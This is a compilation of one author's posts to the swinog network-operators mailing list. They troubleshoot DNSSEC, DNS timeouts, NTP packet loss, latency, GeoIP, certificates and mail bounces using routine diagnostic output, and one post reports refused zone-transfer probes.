[swinog] Re: DNSSEC issue with swizzonic DNS servers?

[Fabian Wenk via swinog]

Hello

On 27.12.2022 09:45, Benoit Panizzon via swinog wrote:

Hi List

Fancy another DNS issue hunt?

We have DNSSEC validation enabled on our BIND DNS Servers.


Same for my private servers.


We started seeing:

no valid RRSIG resolving 'www.numberportability.ch/DS/IN': 
2a01:8100:2901::1:183:202#53
no valid RRSIG resolving 'www.numberportability.ch/DS/IN': 
2a01:8100:2901::1:183:201#53
no valid RRSIG resolving 'www.numberportability.ch/DS/IN': 81.88.58.219#53
no valid RRSIG resolving 'www.numberportability.ch/DS/IN': 195.110.124.196#53

broken trust chain resolving 'www.numberportability.ch/HTTPS/IN': 
2a01:8100:2901::1:183:202#53
broken trust chain resolving 'www.numberportability.ch//IN': 
2a01:8100:2901::1:183:202#53
client @0x803541d60 X.X.X.X#27325 (www.numberportability.ch): query failed 
(broken trust chain) for www.numberportability.ch/IN/ at query.c:7724



It all looks fine so far from my end, or did I miss something important?

fabian@flashback:~ % dig -t ns numberportability.ch +dnssec

; <<>> DiG 9.10.6 <<>> -t ns numberportability.ch +dnssec
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28854
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 1232
;; QUESTION SECTION:
;numberportability.ch.  IN  NS

;; ANSWER SECTION:
numberportability.ch.   900 IN  NS  dns2.swizzonic.ch.
numberportability.ch.   900 IN  NS  dns1.swizzonic.ch.
numberportability.ch.	900	IN	RRSIG	NS 13 2 900 2023010500 
2022121500 10556 numberportability.ch. 
YDc8MgSRBZDVlRBaP5RfxeGZdkYvNkci8N2rpxQ5NsvjWz9M/HDasP6P 
AAk4H2tJsJyVK0HqghSCuwuTub1opA==


;; Query time: 42 msec
;; SERVER: 2001:8a8:1005:1::2#53(2001:8a8:1005:1::2)
;; WHEN: Wed Dec 28 11:24:10 CET 2022
;; MSG SIZE  rcvd: 215

fabian@flashback:~ % dig www.numberportability.ch +dnssec 
@dns1.swizzonic.ch.


; <<>> DiG 9.10.6 <<>> www.numberportability.ch +dnssec @dns1.swizzonic.ch.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 669
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 1680
;; QUESTION SECTION:
;www.numberportability.ch.  IN  A

;; ANSWER SECTION:
www.numberportability.ch. 900   IN  A   164.128.159.204
www.numberportability.ch. 900	IN	RRSIG	A 13 3 900 2023010500 
2022121500 10556 numberportability.ch. 
5PpTJZ19GmcEyD8i3iUBWoZdGYECB3Hvdx2JclKfDVKl3KVbuBekf6RL 
kP1HRSYPhJZak25YeyhKe1oPemHXrw==


;; Query time: 21 msec
;; SERVER: 2a01:8100:2901::1:183:201#53(2a01:8100:2901::1:183:201)
;; WHEN: Wed Dec 28 11:24:22 CET 2022
;; MSG SIZE  rcvd: 185

fabian@flashback:~ % dig www.numberportability.ch +dnssec 
@dns2.swizzonic.ch.


; <<>> DiG 9.10.6 <<>> www.numberportability.ch +dnssec @dns2.swizzonic.ch.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14397
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 1680
;; QUESTION SECTION:
;www.numberportability.ch.  IN  A

;; ANSWER SECTION:
www.numberportability.ch. 900   IN  A   164.128.159.204
www.numberportability.ch. 900	IN	RRSIG	A 13 3 900 2023010500 
2022121500 10556 numberportability.ch. 
FuWo8czeDf/KyCcyYXJF+pYkFJ8HsIX4RrW5a9+fIGqtDUVud7+lxPo9 
1oW4H1v69+Mf7rze8SdxAsODJwFUQw==


;; Query time: 36 msec
;; SERVER: 2a01:8100:2901::1:183:202#53(2a01:8100:2901::1:183:202)
;; WHEN: Wed Dec 28 11:24:31 CET 2022
;; MSG SIZE  rcvd: 185

fabian@flashback:~ %


Also checking at DNSViz it looks fine:
https://dnsviz.net/d/numberportability.ch/dnssec/


So either they fixed it in the meantime or then your server may have 
some issue or something bad in cache.



Best regards,
Fabian
___
swinog mailing list -- swinog@lists.swinog.ch
To unsubscribe send an email to swinog-le...@lists.swinog.ch

[swinog] Re: Sudden RTT drops after changing fiber OTO plug

[Fabian Wenk via swinog]

Hello Mat

On 29.11.2022 10:41, Mat Kowalski via swinog wrote:
For interested, here are 3 graphs presenting the drop. For every graph 
the left side is OTO#1 and the right is OTO#2. Monday morning was the 
time of changing the line:


1) https://i.ibb.co/qRL1Hyb/1.png 


I do have a connection on OTO Plug 1 in Zürich, even with the EWZ 
provided Fiber/Ethernet bridge (4 Ethernet-Ports), with one port used 
for a line to Cyberlink (1 Gbit/s).
External physical systems within Switzerland are mostly 2 - 2.5 ms with 
IPv4, IPv6 sometimes slightly more.

The DNS at 8.8.8.8 / 2001:4860:4860:: has 1.8 ms.
And the VM I have at ungleich.ch, has 4.7 ms (IPv4), and 5.2 ms (IPv6).

Almost a decade ago I had a MC2-based (copper) line with 10 Mbit/s from 
Cyberlink and I do remember that for systems within Switzerland it was 
also at ~3 ms.
I also have a Sunrise/UPC Cable connection with IPv4 only, there the 
latency is ~21.5 ms and 25.4 ms (for the VM). But during the night 
(since around end of August) it is significantly higher, sometimes even 
above 50 ms. This is not the first time and it usually does improve 
again after a few month, e.g. when they split the cable segment into 
smaller areas.


So for me it seems that your ISP probably has the most influence for the 
latency of your line with their infrastructure and transit behind.



Best regards,
Fabian
___
swinog mailing list -- swinog@lists.swinog.ch
To unsubscribe send an email to swinog-le...@lists.swinog.ch

[swinog] Re: DNS help: named 'end of file resolving' a hostname.

[Fabian Wenk]

Hello Benoît

On 14.10.2022 10:51, Benoît Panizzon wrote:

Maybe some of you has already come over that issue and know how to fix.

Bind 9.18.4 fails to resolve the A record of: fd19g0409.drive.pro.io

Bind 9.11.36 works.

Both versions have DNSSEC Validation enabled and connected to a network
not restricting EDNS.


My systems are with bind 9.16 as a local resolver using the root 
nameservers, I get this:


batman:~ # dig fd19g0409.drive.pro.io
;; communications error to ::1#53: timed out
;; communications error to ::1#53: timed out

; <<>> DiG 9.18.7 <<>> fd19g0409.drive.pro.io
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 35861
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 2f7b02654b3c7d3c0100634bd959127589388c126a1d (good)
;; QUESTION SECTION:
;fd19g0409.drive.pro.io.IN  A

;; Query time: 113 msec
;; SERVER: ::1#53(::1) (UDP)
;; WHEN: Sun Oct 16 12:13:45 CEST 2022
;; MSG SIZE  rcvd: 79

batman:~ #

But on the other hand this works (takes a while):
batman:~ # host fd19g0409.drive.pro.io
fd19g0409.drive.pro.io has address 94.126.19.162
fd19g0409.drive.pro.io has IPv6 address 2a00:1128:0:19::162
batman:~ #


Bind Logs:

named[3156696]: end of file resolving '_.drive.pro.io/A/IN': 80.74.143.169#53


I get this (sorry for the long line wrapping):
Oct 16 08:28:48 batman named[63587]: client @0x80f11b758 ::1#40913 
(fd19g0409.drive.pro.io): view internal: query failed (timed out) for 
fd19g0409.drive.pro.io/IN/A at query.c:7375

[... two repeated lines remove ...]
Oct 16 12:13:45 batman named[63587]: client @0x80356e358 ::1#44995 
(fd19g0409.drive.pro.io): view internal: query failed (timed out) for 
fd19g0409.drive.pro.io/IN/A at query.c:7375

[... two repeated lines remove ...]

Lines from a second dig:
Oct 16 12:15:52 batman named[63587]: client @0x807c15d58 ::1#59382 
(fd19g0409.drive.pro.io): view internal: query failed (timed out) for 
fd19g0409.drive.pro.io/IN/A at query.c:7375

[... one repeated lines remove ...]
Oct 16 12:15:52 batman named[63587]: client @0x80f2c2958 ::1#40749 
(fd19g0409.drive.pro.io): view internal: query failed (SERVFAIL) for 
fd19g0409.drive.pro.io/IN/A at query.c:6656



As the 'host' tool was working with a unusual delay using the same 
server, I did try this (default timeout is 5 seconds):


batman:~ # dig fd19g0409.drive.pro.io +timeout=30

; <<>> DiG 9.18.7 <<>> fd19g0409.drive.pro.io +timeout=30
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 41879
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 6317be73062799980100634bdf600b277eb7be8c0697 (good)
;; QUESTION SECTION:
;fd19g0409.drive.pro.io.IN  A

;; Query time: 10009 msec
;; SERVER: ::1#53(::1) (UDP)
;; WHEN: Sun Oct 16 12:39:28 CEST 2022
;; MSG SIZE  rcvd: 79

batman:~ #

Same also with 60 seconds timeout. But now host also fails (took 33 and 
on a second try 40 seconds):


batman:~ # host fd19g0409.drive.pro.io
;; connection timed out; no servers could be reached
batman:~ #

Other things work and the answer is instant.

I do not see this problem from some other locations where I use the 
resolver of the ISP or hoster. The answer is instant.


But more strange things, which work fine and instant:

batman:~ # dig -t ns pro.io

; <<>> DiG 9.18.7 <<>> -t ns pro.io
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40826
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: d7ad19c9d61a7a8a0100634be1c9e9ed83950b13cd10 (good)
;; QUESTION SECTION:
;pro.io.IN  NS

;; ANSWER SECTION:
pro.io. 1430IN  NS  p.dnh.net.
pro.io. 1430IN  NS  ch.pro.io.
pro.io. 1430IN  NS  nl.pro.io.

;; ADDITIONAL SECTION:
ch.pro.io.  1430IN  2a00:1128:1:1::143:169
nl.pro.io.  1430IN  2001:41d0:8:1c8d::
ch.pro.io.  42235   IN  A   80.74.143.169
nl.pro.io.  42235   IN  A   151.80.197.88

;; Query time: 106 msec
;; SERVER: ::1#53(::1) (UDP)
;; WHEN: Sun Oct 16 12:49:45 CEST 2022
;; MSG SIZE  rcvd: 208

batman:~ # dig fd19g0409.drive.pro.io @80.74.143.169

; <<>> DiG 9.18.7 <<>> fd19g0409.drive.pro.io @80.74.143.169
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5649
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;fd19g0409.drive.pro.io.IN  A

;; ANSWER SECTION:

Re: [swinog] Can somebody from Zattoo contact me?

[Fabian Wenk]

Hello Rainer

On 24.01.2022 16:07, Rainer Duffner wrote:

Am 24.01.2022 um 15:36 schrieb Fabian Wenk :
On 24.01.2022 10:16, Rainer Duffner wrote:



Maybe check the geo location from one of the affected IP address at 
https://www.maxmind.com/ <https://www.maxmind.com/>. As far as I know they are 
probably the most used service for Geo IP Data.


I checked with maxmind and whatismyip.com (which in itself checks at least two 
different databases).

Both report the IP to be in Switzerland.

The funny thing is that https://www.wieistmeineip.de locates this IP in 
Germany, too.

I would like to understand how that happens.


Maxmind is publishing an updated list each week, but then it depends on 
the platform operator to update their local copy. There is e.g. a daemon 
available from maxmind doing this automatically. It could be that some 
of the platform operators to not update the list, or not so often. Or 
even using a own database, e.g. because they filter out commercial VPN 
services.


Somehow it is probably the best to report it directly through the 
support channels of this platforms, and also give them links to the 
check done at Maxmind and whatismyip. If your clients are customer of 
this platforms, then it may be useful to give them all the relevant 
details and tell them to forward it to the support.



Best regards,
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Can somebody from Zattoo contact me?

[Fabian Wenk]

Hello Rainer

On 24.01.2022 10:16, Rainer Duffner wrote:

one of our IP-Ranges is attributed by Zattoo to be in Germany, apparently.

In fact, the customer has reported that other services have reported the same 
problem in the last week.


Then this is probably not really a problem of Zattoo and more general 
with geographical IP location data.



I would like to understand why this is the case.


Maybe check the geo location from one of the affected IP address at 
https://www.maxmind.com/. As far as I know they are probably the most 
used service for Geo IP Data.



Best regards,
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] SSL Certs question

[Fabian Wenk]

Hello Andreas

On 13.05.2021 13:05, Andreas Fink wrote:

Jeroen Massar wrote on 13.05.21 10:46:

On 2021-05-13 11:29, Andreas Fink wrote:

Hello all,

I need to get some SSL certificates for some african country operations
and i can unfortunately not use letsencrypt for this.


Any reason? What are your requirements?


the mailserver I use, does not support ACME setup. I can only do old
style SSL certificate requests.
for the webserver its not an issue though.


I am using LEGO [1] for ACME with DNS, so none of the servers need to 
support ACME. I am using it with an own dedicated dynamic sub-zone 
through RFC2136, but there is also a large selection of DNS providers to 
choose from (if the domains are hosted there). From the FreeBSD Ports 
[2] I got lego.sh (which I had to modify a little bit for DNS), which 
does weekly checks through periodic. For the also needed deploy.sh I 
wrote my own doing a copy of the new certificates into an timestamped 
directory and sending me an email with instructions on how to run a 
third script for doing all the distribution for that certain 
certificate, which then does copy (scp) the new certificates to the 
systems / services needed, and also restart services. Something I do not 
wanted to do unattended.


 [1] https://github.com/go-acme/lego
 [2] https://cgit.freebsd.org/ports/tree/security/lego


Would ZeroSSL (https://zerossl.com) who also do ACME work?


No. ACME is the issue. And ZeroSSL is hosted in the US on cloudflare
with a cloudflare SSL certificate. So by definition not DSGVO conform as
NSA could theoretially infiltrate cloudflare to infliltrate all my certs
etc. etc. It might be far fetched but since snowden, we know that many
things we considered far far far fetched are not anymore.


As Jeroen already mention, the private key of the certificate is always 
in your own possession, if you are doing it right. At least a long time 
ago the already mention domestic CA did create a private key for you, if 
you did not supply a CSR (certificate signing request) during the 
process, this may have changed. LEGO (or probably any other ACME 
client), does create a local private key and CSR on your own system. 
Then only the CSR is sent to the CA, and the CA will sign this with 
their private key and return the certificate back to you. If the 
certificate does not match with the key, it will not work and clients 
will report an error as they are unable to decrypt the content which was 
encrypted from your private key.


So in general I do not see any problems regarding GDPR with using any CA 
(even in the US). But there are more things which could be done to get a 
better privacy for the user visiting your sites. As currently browser 
are doing OCSP (Online Certificate Status Protocol) request back to the 
issuing CA on each visit to your site, you should also look into 
implement OCSP Stapling. Your site will regularly fetch this OCSP 
answers (they are valid for quite a while) from the CA, and then return 
them to the client browser on first visit.


PS: Also consider to set CAA entries in DNS to only allow your chosen CA 
to create certificates for you.



Best regards,
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Strange NTP packet loss

[Fabian Wenk]

Hello

On 27.04.19 19:25, Fabian Wenk wrote:

As the problem persisted I also did open a ticket with UPC in October
2017 (ticket B2BCH641230 and B2BCH643146). But they did not


I just realized, that the ticket B2BCH641230 does not have anything 
to do with the packet loss from the NTP Pool monitoring.
In my case it is just related to NTP when a certain type of cable modem 
is in use. That modem does not properly work with huge amounts of 
multiple UDP sessions and then totally loses the whole IP connectivity.



Best regards,
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Strange NTP packet loss

[Fabian Wenk]

Hello Stefan

On 27.04.2019 11:36, Stefan Brand wrote:


After quite some debugging we realized that the packet loss only occurs for NTP 
packets via one of our transit providers, namely Liberty Global (AS6830).


I had do dig in my e-mail archive as I already ran into this way back in 
March 2017. I did discuss this with the Pool team (ticket #5636). I my 
case it is the IP address (62.2.85.186) on a UPC Business Cable Line 
("Fiber Power"). The NTP Pool is aware, that when traffic goes from 
their monitoring system through NTT, that then occasionally (or more) 
packet loss does happen. From what we discovered back then, it seems 
that NTT may have some DDoS protection in place. From the Pool team I 
even got that information (unfortunately the PDF is not available any more):

"After reading
http://www.nttcomsecurity.com/uploads/files/US_2015_GTIR-ddos-observations_Public_Approved_V1.pdf
I won't be surprised if NTT has some automatic rate limiting on NTP 
traffic in place."



We queried their support, our theory being that they're trying to do some sort 
of DDoS protection for NTP reflection attacks.
However they aren't aware of anything like this and also couldn't figure out 
why this is happening.


As the problem persisted I also did open a ticket with UPC in October 
2017 (ticket B2BCH641230 and B2BCH643146). But they did not 
really understand the problem and did only update/downgrade the firmware 
on my modem (I knew that this will not help), but they did not see any 
problems. :-(


As this IP address already had bad scoring for a while, it got dropped 
out of the pool a few weeks later. In the past I had tried to add it 
back a few times, but it still fails even for the initial check the pool 
is doing. I have just tried a few times again without any luck.


But luckily I still have some other servers in the Pool: 
https://www.pool.ntp.org/user/home4u.ch



So I was wondering, has anyone else encountered this issue or something similar?
We worked around the issues by routing the traffic around AS6830 but this still 
bothers me somehow.


Back then the problem was worse, as the routing was asymmetrical, and 
the path was only from the ntp pool monitoring through NTT, but not back 
from UPC. As I see it now, the routing is symmetrical through NTT.


The pool as a tracroute tool available at (change the IP to your own):
https://trace.ntppool.org/traceroute/62.2.85.186

As the pool provides some nice things with e.g. the data of the last 50 
checks (change to your IP, mine does not have any data):

https://www.pool.ntp.org/scores/62.2.85.186/log?limit=50
You see that it does a check around every 20 minutes (the timestamp is 
in seconds since epoch). I did run a tcpdump at my end, when a packet 
arrived, then also the pool monitoring system got my answer back and 
data got recorded. So it was clear to me, that packets got dropped on 
the way from the Pool monitoring to me.


I did monitor on my end with:
tcpdump -tt -i em1 host 207.171.3.17 and port 123
But it may be that the IP has changed now, so you have to ask the Pool 
Team for current information. If you already got e-mails from Ask with 
subject "NTP Pool: Problems with your NTP server ...", just write back 
to it. :)


Eventually it is also helpful to subscribe to the Pool mailing list (or 
search in their archive): http://lists.ntp.org/listinfo/pool


Hope this information helps and you are in a better position to tell UPC 
that their upstream NTT is doing something not very nice.



Best regards,
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] IRC Network / Swinog / Link down

[Fabian Wenk]

Hello Roman

On 25.05.2013 13:31, Roman Hochuli wrote:

root@irc:~# ntpdate time1.nexellent.net
25 May 13:30:42 ntpdate[1039]: step time server 217.147.208.1 offset
-7195.882746 sec


It would probably be much better to start using ntpd on this 
server. It is not the first time, that this has happen to the IRC 
Server.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] DDOS DNS Attack by Netgear Products caused by CNAME instead of A record?

[Fabian Wenk]

Hello Benoit

On 24.05.2013 12:03, Benoit Panizzon wrote:

It looks like our customers Netgear routers (known ones: WNR3500Lv2, WNDR4500)
are asking our DNS Server for the A record of: time-g.netgear.com or time-
a.netgear.com


For me this looks like entries for timeservers (NTP). This two 
destination share the same IP address (so it is not a very good 
fail safe solution ;) :


fabian@flashback:~ $ host time-g.netgear.com
time-g.netgear.com is an alias for time-a.netgear.com.
time-a.netgear.com has address 209.249.181.22
fabian@flashback:~ $ host time-a.netgear.com
time-a.netgear.com has address 209.249.181.22
fabian@flashback:~ $

And the PTR also looks interesting (sorry for line wrapping):

fabian@flashback:~ $ host 209.249.181.22
22.181.249.209.in-addr.arpa is an alias for 
22.0-127.181.249.209.in-addr.arpa.
22.0-127.181.249.209.in-addr.arpa domain name pointer 
time-a.on-networks.com.
22.0-127.181.249.209.in-addr.arpa domain name pointer 
time-a.netgear.com.

fabian@flashback:~ $

This IP address does answer to ntp requests (sorry again for line 
wrapping):


fabian@flashback:~ $ ntpdate -q 209.249.181.22
server 209.249.181.22, stratum 1, offset 0.004557, delay 0.19078
24 May 12:41:50 ntpdate[55957]: adjust time server 209.249.181.22 
offset 0.004557 sec

fabian@flashback:~ $



Instead of an A record reply, they get a CNAME as answer with additional
information the A record of that CNAME. That is what netgear has published on
their DNS Servers.


It could be, that Netgear did change something in their DNS 
configuration (eg. moving time-g from A record to CNAME), which 
the used ntpd or sntp on this routers do not understand and so do 
re-request the DNS entry again because it could not sync the time.



Those routers are not happy with that reply and just start sending several
hundred requests per second for A time-g.netgear.com resulting in considerable
load and traffic on our DNS caches. Some customers have already transfered
35GB of DNS traffic, only since today midnight.


Are the high requests numbers only for time-g.netgear.com and not 
for time-a.netgear.com?
If yes, this could prove the above idea of ntpd/sntp on this 
devices not properly working with a CNAME entry.


Do you have configuration access to such routers? If yes, check 
the entries for NTP and probably change some of them e.g. to 
ch.pool.ntp.org and/or 1.ch.pool.ntp.org.



I have contacted netgear technical support. The issue is yet unknown to them.
They got my pcap files to analyze :-)


It could eventually be a good idea to also point them to this DNS 
entries, eventually the time-g server died and the sysadmin added 
the CNAME without knowing the impact this could have.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] vdsl2 line gone bad - ideas ?

[Fabian Wenk]

Hello Tobias

On 25.04.2013 14:58, Tobias Oetiker wrote:

We have this VDSL2 line at one of our customer sites, which aquired
high packet loss from one day to the other ...


Did you turn off and on the device once since the high packet 
loss started? Eventually it could create a more stable DSL link. 
Could be noise from neighbors lines.



Any hints on getting this fixed.


I am not sure if mine will help, but it is probably worth a try. 
Else you should probably escalate this to your ISP, which then 
would check with Swisscom.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] Carrier Grade NAT – A Look at the Tradeoffs

[Fabian Wenk]

Hello

I just stumbled over the article Carrier Grade NAT – A Look at 
the Tradeoffs [1] (from Owen DeLong, Hurricane Electric) at Data 
Center Knowledge. I hope this helps to speed up the deployment of 
IPv6.


   [1] 
http://www.datacenterknowledge.com/archives/2013/02/06/carrier-grade-nat-a-look-at-the-tradeoffs/



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Cablecom Home to London via USA

[Fabian Wenk]

Hello Jeroen

On 06.02.2013 08:43, Jeroen Massar wrote:

On 2013-02-05 20:39 , Fabian Wenk wrote:

On 05.02.2013 19:56, Jeroen Massar wrote:

You are missing the important point about peering:
  http://www.youtube.com/watch?v=PUYdi43qXHc


And this shows just an other problem of this world, which also matches
the title of the Video Meja - A'll Bout The Money:

This video contains content from SME, who has blocked it in your
country on copyright grounds. - Sorry about that.


Long live geoIP not working yet for IPv6 ;)


I did connect with IPv6, and I just tried again, with IPv4 and 
IPv6 and I only get the above message, see [1]. :( The IPvFox 
Add-on [2] is a nice help.


  [1] http://www.wenks.ch/fabian/YouTube-All_Bout_The_Money.png
  [2] https://addons.mozilla.org/firefox/addon/ipvfox/


PS: No need to use reply all, reply only to the list is 
perfect, as I do filter e-mails based on the List-Id header line.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Cablecom Home to London via USA

[Fabian Wenk]

Hello Jeroen

On 05.02.2013 19:56, Jeroen Massar wrote:

You are missing the important point about peering:
  http://www.youtube.com/watch?v=PUYdi43qXHc


And this shows just an other problem of this world, which also 
matches the title of the Video Meja - A'll Bout The Money:


This video contains content from SME, who has blocked it in your 
country on copyright grounds. - Sorry about that.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] bluewin mail feature

[Fabian Wenk]

Hello Stefan

On 14.08.2012 16:11, Stefan Rothenbuehler wrote:

On 08/14/2012 03:42 PM, Tobias Oetiker wrote:



 occasionally we get mail bounces from bluewin that look like this:

 Jul  6 13:17:31  postfix/smtp[30166]: : to=x...@bluewin.ch, 
relay=mxbw.bluewin.ch[195.186.99.50]:25, delay=2, delays=0.02/0/0.05/2, dsn=5.0.0, 
status=bounced (host mxbw.bluewin.ch[195.186.99.50] said: 551 551x...@bluewin.ch  
Account administratively disabled. Please try later (in reply to RCPT TO command))



Those mails are rejected as the recipients account has been
administratively blocked. This can have various reasons which I'm not
gonna list here.


I do see a discrepancy here. The mail account is temporary 
closed, as you say and also the text Please try later does 
indicate. But the error 551 is a permanent error and the sending 
server will purge this e-mail from the queue and notify the 
original sender of the non-delivery.


It would probably be a good idea to respond only with a 4xx 
error, which is temporary. So the sending server could queue the 
e-mail and try again later, without any interaction from the end 
user. Usually the sending mail server does notify the original 
sender, after delivery of the e-mail has failed for several 
hours. It then will try up to 5 days to deliver this e-mail, 
before the e-mail will be purged from the queue and the original 
sender being notified.


But sure, this depends on how long such accounts are 
administratively blocked. If it is only for a few days, then a 
4xx error would be much friendlier, also to the affected Bluewin 
customer. If one of this customer is also subscribed to several 
mailing lists, then there is a very high chance, that he will be 
automatically unsubscribed from them as well.


Just my 2 cents.


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] DNS zone transfer tests from 62.202.21.130 (130-21.202-62.fix.bluewin.ch)

[Fabian Wenk]

Hello

Since a few days I see DNS zone transfer tests from the IP 
address 62.202.21.130 (130-21.202-62.fix.bluewin.ch) for .ch 
domains. Some other people have confirmed this too. Does somebody 
know anything about this?


Is this some kind of study / survey to check how many Swiss 
domains allow zone transfers?


Log files extract from 2 of my name servers are in the attached 
DNS-zone-transfers-62.202.21.130.txt (domains anonymized).



bye
Fabian
Aug  7 00:16:35 batman named[869]: client 62.202.21.130#60406: zone transfer 
'b**.ch/AXFR/IN' denied
Aug  7 00:16:35 batman named[869]: client 62.202.21.130#60430: zone transfer 
'b**.ch/AXFR/IN' denied
Aug  7 17:04:56 batman named[37119]: client 62.202.21.130#61552: zone transfer 
'h.ch/AXFR/IN' denied
Aug  7 17:04:56 batman named[37119]: client 62.202.21.130#61555: zone transfer 
'h.ch/AXFR/IN' denied
Aug  7 20:40:35 batman named[37119]: client 62.202.21.130#65128: zone transfer 
'i*.ch/AXFR/IN' denied
Aug  7 20:40:36 batman named[37119]: client 62.202.21.130#65134: zone transfer 
'i*.ch/AXFR/IN' denied
Aug  8 12:47:57 batman named[37119]: client 62.202.21.130#54547: zone transfer 
'p.ch/AXFR/IN' denied
Aug  8 12:47:57 batman named[37119]: client 62.202.21.130#54553: zone transfer 
'p.ch/AXFR/IN' denied
Aug  9 00:03:34 batman named[37119]: client 62.202.21.130#64854: zone transfer 
's***.ch/AXFR/IN' denied
Aug  9 00:03:34 batman named[37119]: client 62.202.21.130#64861: zone transfer 
's***.ch/AXFR/IN' denied
Aug  9 03:09:55 batman named[37119]: client 62.202.21.130#55591: zone transfer 
's**.ch/AXFR/IN' denied
Aug  9 03:09:55 batman named[37119]: client 62.202.21.130#55592: zone transfer 
's**.ch/AXFR/IN' denied
Aug  9 12:31:34 batman named[37119]: client 62.202.21.130#56573: zone transfer 
'w.ch/AXFR/IN' denied
Aug  9 12:31:35 batman named[37119]: client 62.202.21.130#56586: zone transfer 
'w.ch/AXFR/IN' denied
Aug  9 14:47:19 batman named[37119]: client 62.202.21.130#58230: zone transfer 
'w.ch/AXFR/IN' denied
Aug  9 14:47:19 batman named[37119]: client 62.202.21.130#58237: zone transfer 
'w.ch/AXFR/IN' denied
Aug  9 16:14:14 batman named[37119]: client 62.202.21.130#61115: zone transfer 
'x*.ch/AXFR/IN' denied
Aug  9 16:14:14 batman named[37119]: client 62.202.21.130#61123: zone transfer 
'x*.ch/AXFR/IN' denied

Aug  8 12:47:59 superman named[62609]: client 62.202.21.130#54586: zone 
transfer 'p.ch/AXFR/IN' denied
Aug  8 12:48:00 superman named[62609]: client 62.202.21.130#54590: zone 
transfer 'p.ch/AXFR/IN' denied
Aug  9 00:03:36 superman named[62609]: client 62.202.21.130#64888: zone 
transfer 's***.ch/AXFR/IN' denied
Aug  9 00:03:37 superman named[62609]: client 62.202.21.130#64893: zone 
transfer 's***.ch/AXFR/IN' denied
Aug  9 12:31:29 superman named[62609]: client 62.202.21.130#56519: zone 
transfer 'w.ch/AXFR/IN' denied
Aug  9 12:31:30 superman named[62609]: client 62.202.21.130#56535: zone 
transfer 'w.ch/AXFR/IN' denied
Aug  9 14:47:18 superman named[62609]: client 62.202.21.130#58199: zone 
transfer 'w.ch/AXFR/IN' denied
Aug  9 14:47:18 superman named[62609]: client 62.202.21.130#58203: zone 
transfer 'w.ch/AXFR/IN' denied

___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Routing problems @ cablecom?

[Fabian Wenk]

Hello Benoît

On 26.05.2012 16:43, Benoît Panizzon wrote:

I'm not able to reach any address @as6772 from cablecom.
Anyone else experiencing such Problems?


It seems that everything which goes trough 4.68.127.49 (Level3) 
can not be reached. I have sent an e-mail to the upc cablecom 
business support with the same traceroute outputs and asked them 
to forward it to the network team:


fabian@superman:~ $ traceroute www.imp.ch
traceroute to www.imp.ch (157.161.7.7), 64 hops max, 52 byte packets
 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  17.165 
ms  11.997 ms  13.084 ms

 3  * * *
 4  ch-zrh01b-ra1-ae-1.aorta.net (84.116.134.142)  11.900 ms 
